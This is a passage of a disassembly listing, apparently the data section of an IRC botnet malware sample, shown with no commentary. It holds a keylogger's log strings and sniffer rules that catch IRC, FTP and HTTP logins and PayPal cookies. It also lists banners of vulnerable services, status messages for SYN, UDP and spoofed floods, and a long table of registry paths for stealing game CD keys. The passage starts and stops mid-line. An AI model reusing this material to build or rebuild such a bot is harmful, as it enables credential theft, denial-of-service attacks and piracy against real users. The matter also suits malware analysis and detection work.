62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_4354E4 dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_411CF5+2B6o dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) ; char asc_43551C[] asc_43551C db '-' ; DATA XREF: sub_411C14+AEo db 3, 34h, 2 dd 6C79656Bh, 302676Fh, 7325202Dh, 0 ; char aDDDDDDS[] aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_411C14+88o align 4 ; char asc_43554C[] asc_43554C: ; DATA XREF: sub_411C14+2Co unicode 0, <\>,0 ; char aSReturnS[] aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_411CF5+228o align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_411CF5+1E5o align 4 ; char aSChangedWindow[] aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_411CF5+8Fo align 4 off_435598 dd offset dword_435E10 ; DATA XREF: sub_411FD6+2B9r dd offset off_435E0C dd offset aFtp ; "FTP" dd offset aHttp_0 ; "HTTP" ; char a_login[] a_login db ':.login',0 ; DATA XREF: sub_411FD6+1DEo dd 3 dup(0) dword_4355BC dd 0 ; DATA XREF: sub_411FD6+2B2r aLogin_2 db ':,login',0 dd 4 dup(0) aLogin_3 db ':!login',0 dd 4 dup(0) a@login db ':@login',0 dd 4 dup(0) aLogin_4 db ':$login',0 dd 4 dup(0) aLogin_5 db ':%login',0 dd 4 dup(0) aLogin_6 db ':^login',0 dd 4 dup(0) aLogin_7 db ':&login',0 dd 4 dup(0) aLogin_8 db ':*login',0 dd 4 dup(0) aLogin_9 db ':-login',0 dd 4 dup(0) aLogin_10 db ':+login',0 dd 4 dup(0) aLogin_11 db ':/login',0 dd 4 dup(0) aLogin_12 db ':\login',0 dd 4 dup(0) aLogin_13 db ':=login',0 dd 4 dup(0) a?login db ':?login',0 dd 4 dup(0) aLogin_14 db ':',27h,'login',0 dd 4 dup(0) aLogin_15 db ':`login',0 dd 4 dup(0) aLogin_16 db ':~login',0 dd 4 dup(0) aLogin_17 db ': login',0 dd 4 dup(0) a_auth db ':.auth',0 align 4 dd 4 dup(0) aAuth db ':,auth',0 align 10h dd 4 dup(0) aAuth_0 db ':!auth',0 align 4 dd 4 dup(0) a@auth db ':@auth',0 align 10h dd 4 dup(0) aAuth_1 db ':$auth',0 align 4 dd 4 dup(0) aAuth_2 db ':%auth',0 align 10h dd 4 dup(0) aAuth_3 db ':^auth',0 align 4 dd 4 dup(0) aAuth_4 db ':&auth',0 align 10h dd 4 dup(0) aAuth_5 db ':*auth',0 align 4 dd 4 dup(0) aAuth_6 db ':-auth',0 align 10h dd 4 dup(0) aAuth_7 db ':+auth',0 align 4 dd 4 dup(0) aAuth_8 db ':/auth',0 align 10h dd 4 dup(0) aAuth_9 db ':\auth',0 align 4 dd 4 dup(0) aAuth_10 db ':=auth',0 align 10h dd 4 dup(0) a?auth db ':?auth',0 align 4 dd 4 dup(0) aAuth_11 db ':',27h,'auth',0 align 10h dd 4 dup(0) aAuth_12 db ':`auth',0 align 4 dd 4 dup(0) aAuth_13 db ':~auth',0 align 10h dd 4 dup(0) aAuth_14 db ': auth',0 align 4 dd 4 dup(0) a_id db ':.id',0 align 10h dd 4 dup(0) aId_0 db ':,id',0 align 4 dd 4 dup(0) aId_1 db ':!id',0 align 10h dd 4 dup(0) a@id db ':@id',0 align 4 dd 4 dup(0) aId_2 db ':$id',0 align 10h dd 4 dup(0) aId_3 db ':%id',0 align 4 dd 4 dup(0) aId_4 db ':^id',0 align 10h dd 4 dup(0) aId_5 db ':&id',0 align 4 dd 4 dup(0) aId_6 db ':*id',0 align 10h dd 4 dup(0) aId_7 db ':-id',0 align 4 dd 4 dup(0) aId_8 db ':+id',0 align 10h dd 4 dup(0) aId_9 db ':/id',0 align 4 dd 4 dup(0) aId_10 db ':\id',0 align 10h dd 4 dup(0) aId_11 db ':=id',0 align 4 dd 4 dup(0) a?id db ':?id',0 align 10h dd 4 dup(0) aId_12 db ':',27h,'id',0 align 4 dd 4 dup(0) aId_13 db ':`id',0 align 10h dd 4 dup(0) aId_14 db ':~id',0 align 4 dd 4 dup(0) aId_15 db ': id',0 align 10h dd 4 dup(0) a_hashin_0 db ':.hashin',0 align 4 dd 3 dup(0) aHashin_0 db ':!hashin',0 align 10h aHashin_1 db ':$hashin',0 align 4 dd 3 dup(0) aHashin_2 db ':%hashin',0 align 10h a_secure db ':.secure',0 align 4 dd 3 dup(0) aSecure_1 db ':!secure',0 align 10h a_l db ':.l',0 dd 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) a_syn db ':.syn',0 align 4 dd 4 dup(0) aSyn_0 db ':!syn',0 align 10h dd 4 dup(0) aSyn_1 db ':$syn',0 align 4 dd 4 dup(0) aSyn_2 db ':%syn',0 align 10h dd 4 dup(0) aCdkey db ' CDKey ',0 dd 4 dup(0) aJoin_1 db 'JOIN #',0 align 10h dd 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: .data:004355A4o align 4 aFtp db 'FTP',0 ; DATA XREF: .data:004355A0o off_435E0C dd offset dword_435238+11h ; DATA XREF: .data:0043559Co dword_435E10 dd 544F42h ; DATA XREF: .data:off_435598o ; char asc_435E14[] asc_435E14 db '-' ; DATA XREF: sub_411FD6+317o db 3, 34h, 2 dd 696E7370h, 3026666h aRecvFailedRetu db '- recv() failed, returned %d',0 align 10h ; char asc_435E40[] asc_435E40 db '-' ; DATA XREF: sub_411FD6+2C6o db 3, 34h, 2 dd 696E7370h, 3026666h aSuspiciousSPac db '- suspicious %s packet from: %s:%d - %s',0 ; char asc_435E74[] asc_435E74 db '-' ; DATA XREF: sub_411FD6+24Co db 3, 34h, 2 dd 696E7370h, 3026666h, 2Dh ; char aPsniff_0[] aPsniff_0 db '[PSNIFF]',0 ; DATA XREF: sub_411FD6+235o align 10h ; char asc_435E90[] asc_435E90 db '-' ; DATA XREF: sub_411FD6+186o db 3, 34h, 2 dd 696E7370h, 3026666h aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 10h ; char asc_435EC0[] asc_435EC0 db '-' ; DATA XREF: sub_411FD6+103o db 3, 34h, 2 dd 696E7370h, 3026666h aBindFailedRetu db '- bind() failed, returned %d',0 align 4 ; char asc_435EEC[] asc_435EEC db '-' ; DATA XREF: sub_411FD6+85o db 3, 34h, 2 dd 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 4 ; char aHashin[] aHashin db ':!hashin',0 ; DATA XREF: sub_412361+103o align 4 ; char a_hashin[] a_hashin db ':.hashin',0 ; DATA XREF: sub_412361+EEo align 10h ; char aIdent_0[] aIdent_0 db ':!ident',0 ; DATA XREF: sub_412361+D9o ; char a_ident[] a_ident db ':.ident',0 ; DATA XREF: sub_412361+C8o ; char a_login_1[] a_login_1 db ':.Login',0 ; DATA XREF: sub_412361+B7o ; char aLogin_1[] aLogin_1 db ':!Login',0 ; DATA XREF: sub_412361+A6o ; char aLogin_0[] aLogin_0 db ':!login',0 ; DATA XREF: sub_412361+95o ; char a_login_0[] a_login_0 db ':.login',0 ; DATA XREF: sub_412361+84o ; char a366[] a366 db '366 ',0 ; DATA XREF: sub_412361+73o align 4 ; char a302[] a302 db '302 ',0 ; DATA XREF: sub_412361:loc_4123C3o align 10h ; char aJoin_0[] aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412361+4Do align 4 ; char aPsniff_2[] aPsniff_2 db 'PSNIFF//',0 ; DATA XREF: sub_412361+3Co align 4 ; char aPsniff_1[] aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412361+2Bo align 10h ; char aBotSniff[] aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412361+5o align 4 ; char aYouAreNowAnIrc[] aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412478+62o ; char aOper_0[] aOper_0 db 'oper ',0 ; DATA XREF: sub_412478+51o align 10h ; char aNick_1[] aNick_1 db 'NICK ',0 ; DATA XREF: sub_412478:loc_4124B8o ; sub_4124EE+2Bo align 4 ; char aOper[] aOper db 'OPER ',0 ; DATA XREF: sub_412478+2Bo align 10h ; char aIrcSniff[] aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412478+5o align 4 ; char aPass_0[] aPass_0 db 'PASS ',0 ; DATA XREF: sub_4124EE+73o align 4 ; char aUser_2[] aUser_2 db 'USER ',0 ; DATA XREF: sub_4124EE+62o align 4 ; char a230[] a230 db '230 ',0 ; DATA XREF: sub_4124EE:loc_41253Fo align 4 ; char a220[] a220 db '220 ',0 ; DATA XREF: sub_4124EE+3Co align 4 ; char aFtpSniff[] aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4124EE+5o align 4 ; char aSetCookie[] aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412575+73o ; char aPaypal_com_0[] aPaypal_com_0 db 'paypal.com',0 ; DATA XREF: sub_412575+62o align 10h ; char aPaypal_com[] aPaypal_com db 'PAYPAL.COM',0 ; DATA XREF: sub_412575+51o align 4 ; char aPaypal_0[] aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412575:loc_4125B5o align 4 ; char aPaypal[] aPaypal db 'paypal',0 ; DATA XREF: sub_412575+2Bo align 4 ; char aHttpSniff[] aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412575+5o align 4 ; char aOpenssh_2[] aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4125FC+51o align 4 ; char aServUFtpServer[] aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FC:loc_41263Co align 4 ; char aOpenssl0_9_6[] aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4125FC+2Bo align 4 ; char aVulnSniff[] aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4125FC+5o align 4 unk_436084 db 2Dh ; - ; DATA XREF: sub_412661+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 ; char asc_4360BC[] asc_4360BC db '-' ; DATA XREF: sub_412661+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4360F4 db 2Dh ; - ; DATA XREF: sub_412661+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_436128 db 2Dh ; - ; DATA XREF: sub_412661+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_43615C db 2Dh ; - ; DATA XREF: sub_412661+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 ; char asc_436190[] asc_436190 db '-' ; DATA XREF: sub_412661+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFail_0 db '- WSAIoctl() failed, returned %d',0 align 10h ; char asc_4361C0[] asc_4361C0 db '-' ; DATA XREF: sub_412661+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRe_0 db '- bind() failed, returned %d',0 align 4 ; char asc_4361EC[] asc_4361EC db '-' ; DATA XREF: sub_412A54+5Eo db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 ; char asc_436214[] asc_436214 db '-' ; DATA XREF: sub_412B09+302o db 3, 34h, 2 dd 736F6464h, 202D0302h, 646E6573h, 72726520h, 203A726Fh dd 6425h ; char asc_436230[] asc_436230 db '-' ; DATA XREF: sub_412E9E+397o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aDoneWithSFlood db 'done with %s flood to %s. sent %d packets @ %dKB/sec (%dMB).',0 align 4 ; char asc_43627C[] asc_43627C db '-' ; DATA XREF: sub_412E9E+307o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aErrorSendingPa db 'error sending packets to %s. %d packets sent, returned %d',0 align 4 ; char asc_4362C4[] asc_4362C4 db '-' ; DATA XREF: sub_412E9E+12Ao db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidTargetI db 'invalid target ip',0 align 4 ; char asc_4362E4[] asc_4362E4 db '-' ; DATA XREF: sub_412E9E+C2o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aSetsockoptFail db 'setsockopt() failed, returned %d',0 align 4 ; char asc_436314[] asc_436314 db '-' ; DATA XREF: sub_412E9E+49o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aSocketFailed_0 db 'socket() failed, returned %d',0 align 10h ; char asc_436340[] asc_436340 db '-' ; DATA XREF: sub_413285+13Co db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFinishedSendin db 'finished sending pings to %s',0 align 4 ; char asc_43636C[] asc_43636C db '-' ; DATA XREF: sub_413285+6Eo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aErrorSendingPi db 'error sending pings to %s',0 align 4 ; char asc_436394[] asc_436394 db '-' ; DATA XREF: sub_413411+1C6o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFinishedSend_0 db '- finished sending packets to %s',0 align 10h ; char asc_4363C0[] asc_4363C0 db '-' ; DATA XREF: sub_413411+8Eo db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aErrorSending_0 db '- error sending packets to %s',0 align 4 ; char asc_4363E8[] asc_4363E8 db '-' ; DATA XREF: sub_413627+4Bo db 3, 34h, 2 dd 73796B73h, 3026E79h aDoneWithFloodI db '- Done with flood (%iKB/sec)',0 align 4 ; char asc_436414[] asc_436414 db '-' ; DATA XREF: sub_4137CD+4Bo db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloo_0 db '- Done with flood (%iKB/sec).',0 align 4 ; char asc_43643C[] asc_43643C db '-' ; DATA XREF: sub_41386C+27Do db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aSendErrorD_ db '- Send error: <%d>.',0 align 4 ; char asc_43645C[] asc_43645C db '-' ; DATA XREF: sub_413B78+4Fo db 3, 34h, 2 dd 67726174h, 3023361h aDoneWithFlood_ db '- Done with flood.',0 align 4 ; char asc_43647C[] asc_43647C db '-' ; DATA XREF: sub_413E36+4EBo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aDoneWithSFlo_0 db '- Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 ; char asc_4364CC[] asc_4364CC db '-' ; DATA XREF: sub_413E36+44Fo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSending_1 db '- Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 ; char asc_43651C[] asc_43651C db '-' ; DATA XREF: sub_413E36+15Fo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidTarge_0 db '- Invalid target IP.',0 align 4 ; char asc_43653C[] asc_43653C db '-' ; DATA XREF: sub_413E36+EEo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSetsockop db '- Error: setsockopt() failed, returned: <%d>.',0 align 4 ; char asc_436574[] asc_436574 db '-' ; DATA XREF: sub_413E36+70o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aErrorSocketFai db '- Error: socket() failed, returned: <%d>.',0 align 4 ; char asc_4365A8[] asc_4365A8 db '-' ; DATA XREF: sub_4143CC+66o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aDoneWithFloodD db '- Done with flood, %d packets sent.',0 align 4 ; char asc_4365DC[] asc_4365DC db '-' ; DATA XREF: sub_4146CF+4Do db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aStartingWisdom db '- Starting Wisdom spoofed UDP flood thread.',0 align 4 unk_43661C db 2Dh ; - ; DATA XREF: sub_414746+345o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorSending_2 db '- Error sending packets to %s. eax=SOCKET_ERROR, WSAGetLastError(' db ')=%d. sizeof(buffer) = %d. Packets sent sucessfully = %d.',0 ; char asc_4366A8[] asc_4366A8 db '-' ; DATA XREF: sub_414746+2F3o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFinishedSend_1 db '- Finished sending packets to %s. Sent %d packet(s). ~%dMB of dat' db 'a sent (~%dK/s).',0 align 4 ; char asc_43670C[] asc_43670C db '-' ; DATA XREF: sub_414746+CCo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aSendingPackets db '- Sending packets to %s...',0 ; char asc_436738[] asc_436738 db '-' ; DATA XREF: sub_414746+80o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aInvalidTarge_1 db '- Invalid target IP. WSAGetLastError() returns %d.',0 unk_43677C db 2Dh ; - ; DATA XREF: sub_414746+63o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSe db '- Error calling setsockopt(). WSAGetLastError() returns %d.',0 align 4 ; char asc_4367CC[] asc_4367CC db '-' ; DATA XREF: sub_414746+2Ao db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 4 ; char asc_4367F8[] asc_4367F8 db '-' ; DATA XREF: sub_414A92+60o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 ; char aSD[] aSD db '%s%d ',0 ; DATA XREF: sub_414C2F+204o align 4 ; char aD_[] aD_ db '%d. ' ; DATA XREF: sub_415135+35o dd 73253403h, 203D2003h, 73253703h, 3 dword_436840 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415135+10o ; char a_2d_2d4d_2d_2d[] a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AD+60o align 4 dword_436878 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_41524D:loc_415282o dword_43688C dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_41524D+20o ; char asc_4368A0[] asc_4368A0 db '-' ; DATA XREF: sub_41528E+DCo db 3, 34h, 2 dd 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h, 6574656Ch dd 0 dword_4368BC dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: sub_41528E+3Fo dd 676E6974h, 0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4153BD+11o aWindow db 'Window',0 ; DATA XREF: sub_4155F8+23o ; sub_4157F1+26o align 4 dd 80000001h off_4368EC dd offset aSoftwareValveC ; DATA XREF: sub_415A30+Cr ; sub_415A30+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey_0 ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_4368F8 dd 2 dup(0) ; DATA XREF: sub_415A30+26o dd 80000001h, 437A7Ch, 437A70h, 437A60h, 2 dup(0) dd 80000001h, 437A40h, 437A3Ch, 437A28h, 2 dup(0) dd 80000001h, 437A04h, 437A3Ch, 4379F8h, 2 dup(0) dd 80000001h, 4379D4h, 4379CCh, 4379B8h, 2 dup(0) dd 80000001h, 4379A4h, 437994h, 437978h, 2 dup(0) dd 80000001h, 437934h, 437ABCh, 437920h, 2 dup(0) dd 80000002h, 4378F4h, 4378E8h, 4378C8h, 2 dup(0) dd 80000002h, 437894h, 437ABCh, 43787Ch, 2 dup(0) dd 80000002h, 437848h, 437ABCh, 437830h, 2 dup(0) dd 80000002h, 437818h, 437ABCh, 437800h, 2 dup(0) dd 80000002h, 4377C4h, 43D808h, 4377B4h, 2 dup(0) dd 80000002h, 43777Ch, 43D808h, 437768h, 2 dup(0) dd 80000002h, 43771Ch, 43D808h, 4376FCh, 2 dup(0) dd 80000002h, 4376ACh, 43D808h, 437680h, 2 dup(0) dd 80000002h, 437644h, 43D808h, 437630h, 2 dup(0) dd 80000002h, 4375F8h, 43D808h, 4375E8h, 2 dup(0) dd 80000002h, 437598h, 43D808h, 43756Ch, 2 dup(0) dd 80000002h, 43752Ch, 43D808h, 437510h, 2 dup(0) dd 80000002h, 4374E0h, 43D808h, 4374C0h, 2 dup(0) dd 80000002h, 437484h, 43D808h, 437470h, 2 dup(0) dd 80000002h, 437428h, 43D808h, 437408h, 2 dup(0) dd 80000002h, 4373B4h, 43D808h, 437384h, 2 dup(0) dd 80000002h, 437334h, 43D808h, 437308h, 2 dup(0) dd 80000002h, 4372C8h, 4372C0h, 4372A0h, 2 dup(0) dd 80000002h, 43725Ch, 43D808h, 437240h, 2 dup(0) dd 80000002h, 4371F4h, 43D808h, 4371D0h, 2 dup(0) dd 80000002h, 43719Ch, 43D808h, 437190h, 2 dup(0) dd 80000002h, 43715Ch, 43D808h, 437150h, 2 dup(0) dd 80000002h, 43711Ch, 43D808h, 437110h, 2 dup(0) dd 80000002h, 4370DCh, 43D808h, 4370D0h, 2 dup(0) dd 80000002h, 437094h, 43D808h, 437080h, 2 dup(0) dd 80000002h, 437044h, 43D808h, 437030h, 2 dup(0) dd 80000002h, 437000h, 437ABCh, 436FE4h, 2 dup(0) dd 80000002h, 436FC4h, 436FBCh, 436F98h, 2 dup(0) dd 80000002h, 436F7Ch, 436FBCh, 436F5Ch, 2 dup(0) dd 80000002h, 436F3Ch, 436FBCh, 436F18h, 2 dup(0) dd 80000002h, 436F00h, 436FBCh, 436EFCh, 2 dup(0) dd 80000002h, 436EE0h, 436ED0h, 436EC8h, 2 dup(0) dd 80000002h, 436E94h, 42C910h, 436E7Ch, 2 dup(0) dd 80000002h, 436E40h, 436E34h, 436E0Ch, 436DFCh, 436DE8h dd 80000002h, 436DC4h, 436DB8h, 436DA4h, 436D94h, 436D8Ch dd 80000002h, 436DC4h, 436DB8h, 436D60h, 436D94h, 436D58h dd 80000002h, 436DC4h, 436DB8h, 436D28h, 436D94h, 436D20h dd 6 dup(0) aKey3 db 'Key3=',0 align 4 aNeverwinterNig db 'Neverwinter Nights (Hordes of the Underdark)',0 align 4 aKey2 db 'Key2=',0 align 10h aNeverwinterN_0 db 'Neverwinter Nights (Shadows of Undrentide)',0 align 4 aKey1 db 'Key1=',0 align 4 aNwncdkey_ini db 'nwncdkey.ini',0 align 4 aNeverwinterN_1 db 'Neverwinter Nights',0 align 4 aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 4 aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 aSoftwareActivi db 'Software\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 aSoftwareIllusi db 'Software\Illusion Softworks\Hidden & Dangerous 2',0 align 4 aChrome db 'Chrome',0 align 10h aSerialnumber db 'SerialNumber',0 align 10h aSoftwareTechla db 'Software\Techland\Chrome',0 align 4 aNox db 'NOX',0 aSoftwareWestwo db 'Software\Westwood\NOX',0 align 4 aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 aSoftwareWest_0 db 'Software\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 aSoftwareWest_1 db 'Software\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 4 aSoftwareWest_2 db 'Software\Westwood\Tiberian Sun',0 align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 aSoftwareRedSto db 'Software\Red Storm Entertainment\RAVENSHIELD',0 align 10h aNascarRacing20 db 'Nascar Racing 2003',0 align 4 aSoftwareElectr db 'Software\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 10h aNascarRacing_0 db 'Nascar Racing 2002',0 align 4 aSoftwareElec_0 db 'Software\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 10h aNhl2003 db 'NHL 2003',0 align 4 aSoftwareElec_1 db 'Software\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 10h aNhl2002 db 'NHL 2002',0 align 4 aSoftwareElec_2 db 'Software\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 10h aFifa2003 db 'FIFA 2003',0 align 4 aSoftwareElec_3 db 'Software\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 10h aFifa2002 db 'FIFA 2002',0 align 4 aSoftwareElec_4 db 'Software\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 10h aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 4 aSoftwareElec_5 db 'Software\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit' db 'ion\ergc',0 align 10h aNeedForSpeedUn db 'Need For Speed: Underground',0 aSoftwareElec_6 db 'Software\Electronic Arts\EA GAMES\Need For Speed Underground\ergc' db 0 align 10h aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 10h aErgc db 'ergc',0 align 4 aSoftwareElec_7 db 'Software\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 4 aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 4 aSoftwareElec_8 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S' db 'pearhead\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 4 aSoftwareElec_9 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B' db 'reakthrough\ergc',0 align 4 aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 4 aSoftwareEle_10 db 'Software\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e' db 'rgc',0 align 10h aGlobalOperatio db 'Global Operations',0 align 4 aSoftwareEle_11 db 'Software\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 10h aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 10h aSoftwareEle_12 db 'Software\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 aSoftwareEle_13 db 'Software\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 4 aSoftwareEle_14 db 'Software\Electronic Arts\EA GAMES\Command and Conquer Generals Ze' db 'ro Hour\ergc',0 align 4 aBlackAndWhite db 'Black and White',0 aSoftwareEle_15 db 'Software\Electronic Arts\EA GAMES\Black and White\ergc',0 align 10h aBattlefieldVie db 'Battlefield Vietnam',0 aSoftwareEle_16 db 'Software\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 10h aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 aSoftwareEle_17 db 